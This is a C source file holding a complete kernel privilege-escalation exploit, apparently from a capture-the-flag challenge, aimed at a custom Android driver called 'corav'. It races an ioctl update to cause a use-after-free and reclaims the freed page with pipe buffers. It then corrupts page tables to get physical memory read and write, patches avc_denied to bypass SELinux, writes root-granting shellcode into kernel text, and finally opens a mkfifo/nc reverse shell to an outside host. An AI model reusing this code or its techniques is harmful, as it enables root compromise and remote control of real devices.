exploit/exploit.c
#define _GNU_SOURCE

/*
    TL;DR:

    1. Spray corav entries
    2. Prepare cross-cache - spray more corav entries (pre), alloc vuln entry, spray more corav entries (post)
    3. Hang corav_update in thread-1 (via proc/<pid>/fd/<n>)
    4. Free entries allocated in step 2, free the vuln entry, then free some of the entries allocated in step 1 to trigger partials flushing
    5. Reclaim the page with a pipe page (and fake CORAV_ENTRY_ALIVE)
    6. Release thread-1 so the updated entry is inserted
    7. Free this new entry, spray page tables and use the pipe to corrupt one of them (gain physical r/w)
    8. Patch avd_denied, disable corav, patch corav_calc_sig_from_path with shellcode, and get a mkfifo revshell
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <stdbool.h>
#include <stdint.h>
#include <unistd.h>
#include <stdarg.h>
#include <signal.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/mman.h>

#define CORCTL_INSERT 0x6669991
#define CORCTL_UPDATE 0x6669992
#define CORCTL_DELETE 0x6669993

#define LOG_FILENAME "/tmp/log"
#define LOG_FILENAME_2 "/storage/emulated/0/Download/xxx"

#define CORAV_INITIALIZED 0x281ded0
#define SELINUX_STATE 0x281a5f8
#define PHYS_BASE_DELTA 0x2a04000
#define CORAV_CALC_SIG_FROM_PATH 0x703e30
#define AVC_DENIED 0x6f0430

#define NUM_PIPES 0x1000
#define NUM_OF_PTES 512
#define CALC_PTES(n) (n * 0x1000) // Max 512 * 0x1000 (2MB)

bool release = false;

// xor eax, eax; ret
uint8_t avc_denied_patch[] = { 0x31, 0xc0, 0xc3, 0x00 };

#define SC_SIZE 80

/*
    push    rbp
    push    r15
    push    r14
    push    rbx
    lea     r13, [rip + 0x0]
    sub     r13, 0x703e3d    // calc kernel base
    xor     rdi, rdi
    mov     rax, r13
    add     rax, 0x1ecf00    // pkc
    call    rax
    mov     rdi, rax
    mov     rax, r13
    add     rax, 0x1ecaf0    // cc
    call    rax
    mov     r11, r13
    add     r11, 0x1404070   // retpoline
    mov     eax, -1
    pop     rbx
    pop     r14
    pop     r15
    pop     rbp
    cs      jmp     r11
*/

uint8_t sc[] = {
    0x55, 0x41, 0x57, 0x41, 0x56, 0x53, 0x4c, 0x8d, 0x2d, 0x00, 0x00, 0x00, 
    0x00, 0x49, 0x81, 0xed, 0x3d, 0x3e, 0x70, 0x00, 0x48, 0x31, 0xff, 0x4c,
    0x89, 0xe8, 0x48, 0x05, 0x00, 0xcf, 0x1e, 0x00, 0xff, 0xd0, 0x48, 0x89,
    0xc7, 0x4c, 0x89, 0xe8, 0x48, 0x05, 0xf0, 0xca, 0x1e, 0x00, 0xff, 0xd0,
    0x4d, 0x89, 0xeb, 0x49, 0x81, 0xc3, 0x70, 0x40, 0x40, 0x01, 0xb8, 0xff, 
    0xff, 0xff, 0xff, 0x5b, 0x41, 0x5e, 0x41, 0x5f, 0x5d, 0x2e, 0x41, 0xff,
    0xe3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
};

int cfd;
char *evil;
int *pipe_a;
int logfd = -1;

enum corav_risk {
    RISK_LOW       = 0,
    RISK_MODERATE  = 1,
    RISK_HIGH      = 2,
};

struct corav_user_entry {
    uint64_t sig;
    enum corav_risk risk;
    bool root_only;
    char path[1024];
};

struct targs {
    char *data;
    size_t size;
    int fd;
    uint64_t sig;
};

int log_init(void) {
    if (logfd > 0)
        return 0;

    logfd = open(LOG_FILENAME, O_WRONLY|O_CREAT|O_APPEND, 0660);
    if (logfd < 0) {
        logfd = open(LOG_FILENAME_2, O_WRONLY|O_CREAT|O_APPEND, 0660);
        if (logfd < 0)
            return -1;
    }

    return 0;
}

int log_msg(const char *fmt, ...) {
    va_list ap;
    int ret;

    va_start(ap, fmt);
    vfprintf(stdout, fmt, ap);
    va_end(ap);
    fflush(stdout);
    if (logfd < 0)
        return -1;

    va_start(ap, fmt);
    ret = vdprintf(logfd, fmt, ap);
    va_end(ap);
    if (ret < 0)
        return -1;

    return 0;
}

void log_close(void) {
    if (logfd >= 0) {
        close(logfd);
        logfd = -1;
    }
}

int assign_to_core(int core_id) {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);
    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) {
        log_msg("[x] sched_setaffinity()");
        return -1;
    }
    return 0;
}

int create_thread(int (*func)(void *), void *args) {
    return clone(func, malloc(0x8000) + 0x8000,
                 SIGCHLD | CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND, args);
}

static int ppipe(int pipefd[2]) {
    return syscall(SYS_pipe2, pipefd, 0);
}

uint64_t do_ioctl(int cmd, char *path, uint64_t old_sig) {
    struct corav_user_entry ue = {
        .sig = old_sig,
        .risk = RISK_LOW,
        .root_only = false,
    };

    strcpy(ue.path, path);

    if (ioctl(cfd, cmd, &ue) < 0) {
        //log_msg("corav_ctl (0x%x): ioctl()\n", cmd);
        return -1;
    }

    return ue.sig;
}

int write_thread(void *args) {
    struct targs *t = (struct targs *)args;

    char *data = t->data;
    size_t size = t->size;
    int fd = t->fd;

    assign_to_core(1);
    while (!release) { usleep(100); }
    assign_to_core(0);
    write(fd, data, size);

    return 0;
}

uint64_t corav_ctl(int cmd, uint64_t sig, char *data, size_t size) {
    char path[0x100];
    uint64_t res_sig;
    int fds[2];

    ppipe(fds);

    snprintf(path, sizeof(path), "/proc/%d/fd/%d", (int)getpid(), fds[0]);

    if (cmd == CORCTL_UPDATE) {
        struct targs args = {
            .fd = fds[1],
            .data = data,
            .size = size,
        };
        create_thread(write_thread, &args);
        res_sig = do_ioctl(cmd, path, sig);
    } else {
        write(fds[1], data, size);
        res_sig = do_ioctl(cmd, path, 0);
    }

    close(fds[1]);
    close(fds[0]);
    
    return res_sig;
}

uint64_t corav_insert(char *data, size_t size) {
    return corav_ctl(CORCTL_INSERT, 0, data, size);
}

uint64_t corav_update(uint64_t sig, char *data, size_t size) {
    return corav_ctl(CORCTL_UPDATE, sig, data, size);
}

uint64_t corav_delete(char *data, size_t size) {
    return corav_ctl(CORCTL_DELETE, 0, data, size);
}

int corav_update_thread(void *args) {
    struct targs *t = (struct targs *)args;
    corav_update(t->sig, t->data, t->size);
    return 0;
}

int start_corav_update_thread(uint64_t sig, char *data, size_t size) {
    struct targs args = { 
        .fd   = -1,
        .sig  = sig,
        .data = data,
        .size = size,
    };
    return create_thread(corav_update_thread, &args);
}

void **prepare_page_tables(uint64_t addr, int n_pt, int n_pte) {
    void **pages = calloc(n_pt, sizeof(void *));
    for (int i = 0; i < n_pt; i++) {
        size_t size = CALC_PTES(n_pte);
        pages[i] = mmap((void*)(addr + i * 0x200000), size,
            PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED, -1, 0);
        if (pages[i] == MAP_FAILED) {
            log_msg("[x] mmap()");
            return NULL;
        }
    }
    return pages;
}

int alloc_pte(char *page, int n_pte) {
    for (int i = 0; i < n_pte; i++) {
        char *p = page + i * 0x1000;
        *(uint64_t *)p = (uint64_t)p;
    }
    return 0;
}

void alloc_page_tables(void **pages, int n_pt, int n_pte) {
    for (int i = 0; i < n_pt; i++)
        alloc_pte(pages[i], n_pte);
}

void *find_pte(void *page, int n_pte) {
    for (int i = 0; i < n_pte; i++) {
        char *p = page + i * 0x1000;
        if (*(uint64_t *)p != (uint64_t)p)
            return p;
    }
    return NULL;
}

void *find_page(void **pages, int n_pt, int n_pte) {
    for (int i = 0; i < n_pt; i++) {
        void *pte = find_pte(pages[i], n_pte);
        if (pte != NULL)
            return pages[i];    
    }
    return NULL;
}

void ulimit_max(void) {
    struct rlimit limit;
    if (getrlimit(RLIMIT_NOFILE, &limit) < 0) {
        log_msg("[x] getrlimit()");
        return;
    }
    limit.rlim_cur = limit.rlim_max;
    if (setrlimit(RLIMIT_NOFILE, &limit) < 0) {
        log_msg("[x] setrlimit()");
        return;
    }
}

uint64_t *mmap_phys_addr(uint64_t addr) {
    uint64_t pages[0x1000/sizeof(void *)] = { 0 };

    read(pipe_a[0], (char *)pages, 0x1000);

    for (int i = 0; i < 0x1000 / sizeof(void *); i++)
        pages[i] = (addr & ~0xfffULL) | 0x8000000000000067ULL;

    write(pipe_a[1], (char *)pages, 0x1000);

    mprotect(evil, 0x1000, PROT_NONE);
    mprotect(evil, 0x1000, PROT_READ|PROT_WRITE);

    return (uint64_t *)( (char *)evil + (addr & 0xfff) );
}

void kwrite_32(uint64_t phys_addr, uint32_t dword) {
    uint32_t *vaddr = (uint32_t *)mmap_phys_addr(phys_addr);
    *vaddr = dword;
}

void kwrite_64(uint64_t phys_addr, uint64_t qword) {
    uint64_t *vaddr = mmap_phys_addr(phys_addr);
    *vaddr = qword;
}

uint32_t kread_32(uint64_t phys_addr) {
    uint32_t *vaddr = (uint32_t *)mmap_phys_addr(phys_addr);
    return *vaddr;
}

uint64_t kread_64(uint64_t phys_addr) {
    uint64_t *vaddr = mmap_phys_addr(phys_addr);
    return *vaddr;
}

void main(void) {
    uint64_t sig;
    char buff[0x1000];
    int fd;
    int pp[NUM_PIPES][2];
    uint64_t *page;

    ulimit_max();

    cfd = open("/dev/corav", 0);

    corav_insert("pwned?", 6);
    log_msg("UID: %u", getuid());

    void **pages = prepare_page_tables(0xdeadb0000, 0x400, 8);

    if (!getuid()) goto pwned;

    assign_to_core(0);

    log_init();
    log_msg("initialized\n");

    for (int i = 0; i < NUM_PIPES; i++)
        ppipe(pp[i]);

    log_msg("defrag\n");

    // Defragment
    for (uint64_t i = 0x100; i < 0x1000; i++)
        corav_insert((char *)&i, 8);

    log_msg("partials\n");

    // Partials
    for (uint64_t i = 0x1000; i < 0x5000; i++)
        corav_insert((char *)&i, 8);

    log_msg("pre\n");

    // Pre alloc
    for (uint64_t i = 0x5000; i < 0x5200; i++)
        corav_insert((char *)&i, 8);

    sig = corav_insert("A", 1);

    log_msg("post\n");

    // Post alloc
    for (uint64_t i = 0x5200; i < 0x5400; i++)
        corav_insert((char *)&i, 8);

    start_corav_update_thread(sig, "B", 1);
    sleep(1);

    // Pre alloc + Post alloc
    for (uint64_t i = 0x5000; i < 0x5400; i++)
        corav_delete((char *)&i, 8);

    log_msg("del\n");

    // Vuln entry
    corav_delete("A", 1);

    // Create partials -> Page released to page allocator
    for (uint64_t i = 0x1000; i < 0x5000; i += 64)
        corav_delete((char *)&i, 8);

    memset(buff, 0, 0x1000);

    page = (uint64_t *)buff;

    for (int i = 0; i < 0x1000 / sizeof(void *); i += sizeof(void *)) {
        page[i] = 1; // Fake sig
        page[i + 1] = 0x01020305080d1522; // Entry alive
    }

    // Reclaim with page
    for (int i = 0; i < NUM_PIPES; i++)
        write(pp[i][1], buff, 0x1000);

    log_msg("releasing\n");
    release = 1;
    sleep(2);

    for (int i = 0; i < NUM_PIPES; i++) {
        read(pp[i][0], buff, 0x1000);
        if (memchr(buff, 0xFF, 0x1000) != NULL) {
            pipe_a = pp[i];
            break;
        }
    }

    if (pipe_a > 0) {
        write(pipe_a[1], buff, 0x1000);
    } else {
        log_msg("nope\n");
        goto clean;
    }

    log_msg("deleting\n");
    corav_delete("B", 1);

    alloc_page_tables(pages, 0x400, 8);

    read(pipe_a[0], buff, 0x1000);
    page = (uint64_t *)buff;

    for (int i = 0; i < 0x1000 / 8; i++)
        page[i] = 0x9c000 | 0x8000000000000067;

    write(pipe_a[1], buff, 0x1000);
    evil = (char *)find_page(pages, 0x400, 8);

    uint64_t phys_addr = *(uint64_t *)evil;
    uint64_t phys_kbase = (phys_addr & ~0xfff) - PHYS_BASE_DELTA;
    uint64_t phys_corav_initialized = phys_kbase + CORAV_INITIALIZED;
    uint64_t phys_corav_sig_from_path = phys_kbase + CORAV_CALC_SIG_FROM_PATH;
    uint64_t phys_avc_denied = phys_kbase + AVC_DENIED;

    log_msg("phys_addr @ %llx\n", phys_addr);
    log_msg("phys_kbase @ %llx\n", phys_kbase);
    log_msg("phys_corav_initialized @ %llx\n", phys_corav_initialized);
    log_msg("phys_corav_sig_from_path @ %llx\n", phys_corav_sig_from_path);    
    log_msg("phys_avc_denied @ %llx\n", phys_avc_denied);

    kwrite_64(phys_corav_initialized, 0);
    kwrite_32(phys_avc_denied, *(uint32_t *)avc_denied_patch);

    uint64_t *sc64 = (uint64_t *)sc;
    for (int i = 0; i < SC_SIZE / 8; i++)
        kwrite_64(phys_corav_sig_from_path + i * 8, sc64[i]);

    corav_insert("pwned!", 6);

pwned:
    log_msg("UID: %u", getuid());
    system("nsenter -t 1 -m -- sh -c 'mkfifo /sdcard/Download/pwn;cat /sdcard/Download/pwn|/system/bin/sh -i 2>&1|nc " REV_SHELL_IP " " REV_SHELL_PORT  " >/sdcard/Download/pwn'");
    sleep(10000);

clean:
    for (uint64_t i = 0x100; i < 0x1000; i++)
        corav_delete((char *)&i, 8);

    for (uint64_t i = 0x1000; i < 0x5000; i++)
        corav_delete((char *)&i, 8);
}
